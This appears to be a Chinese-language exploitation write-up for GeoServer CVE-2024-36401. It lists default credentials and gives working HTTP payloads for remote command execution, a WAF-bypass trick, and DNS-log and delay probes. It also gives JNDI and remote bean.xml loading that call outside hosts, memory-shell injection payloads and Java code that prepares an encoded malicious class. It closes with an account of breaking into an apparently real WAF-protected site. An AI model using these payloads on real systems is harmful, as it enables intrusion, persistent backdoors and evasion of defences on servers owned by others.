默认账号密码:admin/geoserver

公开的POC:https://github.com/Mr-xn/CVE-2024-36401

影响版本:
GeoServer < 2.23.6
2.24.0 <= GeoServer < 2.24.4
2.25.0 <= GeoServer < 2.25.2

注意typeNames必须在系统中存在才能利用
访问/geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0可以搜索到所有的typeName

GetPropertyValue

存在两种传参方式,第一种是xml格式:

1
2
3
4
5
6
7
8
9
10
11
12
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

第二种是POST/GET传参方式

1
2
3
4
5
6
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 134

service=wfs&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),"whoami")

看到报错:

1
java.lang.ClassCastException: java.lang.ProcessImpl cannot be cast to org.opengis.feature.type.AttributeDescriptor

说明命令执行成功

绕waf

看到GetPropertyValue

request.getValueReference().replaceAll("\\[.*\\]", ""),这里会将[]中的内容替换为空,但是为贪婪匹配,所以只能使用一次

在xml中,<!--xxx-->代表注释,因此可以使用如下payload:

1
/+java.lang.T<!--IgnoreMe!!!!-->hread.s[(: IGNORE :)]leep&#010;&#032;&#009;<![CDATA[ (2000) ]]>

参考:
浅析GeoServer property 表达式注入代码执行(CVE-2024-36401)

漏洞探测

dnslog探测:

1
2
3
4
5
6
7
8
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>java.net.InetAddress.getAllByName("xxx.dnslog.xxx")
</wfs:valueReference>
</wfs:GetPropertyValue>

探测JDK版本:

1
getValue(parseExpression(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"T(java.net.InetAddress).getByName(T(java.lang.System).getProperty('java.version').replace('.', '-') + '.cnem83.dnslog.cn')"))

延时探测:

1
2
3
4
5
6
7
8
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>java.lang.Thread.sleep(2000)
</wfs:valueReference>
</wfs:GetPropertyValue>

ClassPathXmlApplicationContext或FileSystemXmlApplicationContext实例化RCE:

1
2
org.springframework.context.support.ClassPathXmlApplicationContext.new("http://127.0.0.1:8080/bean.xml")
org.springframework.context.support.FileSystemXmlApplicationContext.new("http://127.0.0.1:8080/bean.xml")

JNDI注入:

1
javax.naming.InitialContext.doLookup("ldap://127.0.0.1:1389/")

内存马

JDK 8-11

参考:GeoServer property RCE注入内存马
加载字节码的Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="your-base64-memery";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>

注意在JDK>8时,defineAnonymousClass做了限制,被加载的Class要满足两个条件之一:

  • 没有包名
  • 包名跟第一个参数Class的包名一致,此处为java.lang,否则会报错

使用JEG生成回显payload

JDK 11-22

参考:CVE-2024-36401 JDK 11-22 通杀内存马
GeoServer(CVE-2024-36401) JDK 11-22 通杀内存马利用总结

简单概括一下几个问题:

  1. SpEL表达式字符串长度不能超过10000:手动编译恶意字节码,不生成调试信息,并在编译时显示未经检查的操作和已弃用代码的警告;考虑使用 gzip 先压缩 class 文件,接着再套一层 Base64 编码
  2. JDK17+对反射的限制:使用Unsafe绕过
  3. 指定了contextClass:需要恶意类在org.springframework.expression包下

whoopscs师傅给出的java代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import java.io.*;
import java.util.Base64;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPOutputStream;

public class Evil {
public static void main(String[] args) {
// 内存马代码文件
String javaFilePath = "Test.java";
String classFilePath = getClassNameFromJavaPath(javaFilePath) + ".class";
// 输出'gzip + Base64'的恶意字节码到文件
String outputFilePath = "SpELMemShell.txt";

try {
// 编译 .java 文件
compileJavaFile(javaFilePath);

// 检查 .class 文件是否已生成
if (!new File(classFilePath).exists()) {
throw new FileNotFoundException("The compiled class file was not generated.");
}

// 压缩并编码 .class 文件
String base64String = compressAndEncodeClassFile(classFilePath);

// 写入文件
writeToFile(outputFilePath, base64String);
} catch (IOException e) {
System.err.println("Error processing the file: " + e.getMessage());
}
}

private static void compileJavaFile(String javaFilePath) throws IOException {
// 内存马中的Object.class.getModule()方法是在Java 9及更高版本中引入的,因此需要指定使用Java 9+的javac进行编译
String javacPath = "/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/javac";

List<String> command = new ArrayList<>();
command.add(javacPath); // 使用 javac 的完整路径
command.add("-g:none");
command.add("-Xlint:unchecked");
command.add("-Xlint:deprecation");
command.add(javaFilePath);

ProcessBuilder processBuilder = new ProcessBuilder(command);
Process process = processBuilder.start();

// 等待编译完成
try {
int exitCode = process.waitFor();
if (exitCode != 0) {
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
String line;
while ((line = errorReader.readLine()) != null) {
System.err.println(line);
}
throw new RuntimeException("Compilation failed with exit code " + exitCode);
}
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new IOException("Compilation interrupted", e);
}
}

private static String compressAndEncodeClassFile(String classFilePath) throws IOException {
byte[] classData = readFile(classFilePath);

// 使用 gzip 进行压缩
byte[] compressedData = compress(classData);

// 将压缩后的数据转换为 Base64 编码
String encodedCompressedData = Base64.getEncoder().encodeToString(compressedData);

// 输出原始长度和新的 Base64 编码长度
System.out.println("Original Base64 encoded string length: " + classData.length);
System.out.println("New Base64 encoded string length after gzip compression: " + encodedCompressedData.length());

return encodedCompressedData;
}

private static byte[] readFile(String filePath) throws IOException {
try (FileInputStream fis = new FileInputStream(filePath)) {
byte[] data = new byte[fis.available()];
fis.read(data);
return data;
}
}

private static byte[] compress(byte[] data) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (GZIPOutputStream gzos = new GZIPOutputStream(baos)) {
gzos.write(data);
}
return baos.toByteArray();
}

private static void writeToFile(String filePath, String content) throws IOException {
try (BufferedWriter writer = new BufferedWriter(new FileWriter(filePath))) {
writer.write(content);
}
}

private static String getClassNameFromJavaPath(String javaFilePath) {
String fileName = new File(javaFilePath).getName();
return fileName.substring(0, fileName.indexOf('.'));
}
}

使用JMG生成class文件,注意勾选Bypass JDK Module

打SpEL 表达式注入

1
2
3
4
5
6
7
8
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('gzip + Base64')))),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))")))
</wfs:valueReference>
</wfs:GetPropertyValue>

返回java.lang.ClassCastException,说明代码执行成功

宇哥给了一个加载回显的poc:

1
getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"{T(java.lang.Thread).currentThread().getContextClassLoader().loadClass('org.springframework.expression.Echo').newInstance()}"))

舒服了

实战

最近遇到一个站,存在waf,和同事经过几天的研究最终拿下

报错:系统找不到指定的文件,经过测试发现不支持xml格式传参

泄露了网站路径:C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\geoserver
中间件:Tomcat 9.0
操作系统:Windows

改为POST传参

成功触发延时,说明漏洞存在,但是在执行命令的时候发现存在waf

匹配了关键字,也是十分常见的waf过滤方式,这个时候就可以使用[]去绕过了

返回java.lang.ClassCastException: java.lang.ProcessImpl,说明命令执行成功,但没有回显+过滤了常见的命令执行关键字,怎么办呢

ScriptEngineManager或者SpEL字节码加载肯定是不行的,[]只能绕过一个关键字,字节码加载的payload敏感字符太多了,有没有用少量payload就可以加载字节码的方式呢?有的兄弟,有的

其实也不难想到,可以使用ClassPathXmlApplicationContext远程加载bean.xml文件实现字节码执行RCE

使用工具:https://github.com/vulhub/java-chains

Tomcat Listener内存马

看一下杀软

我勒个豆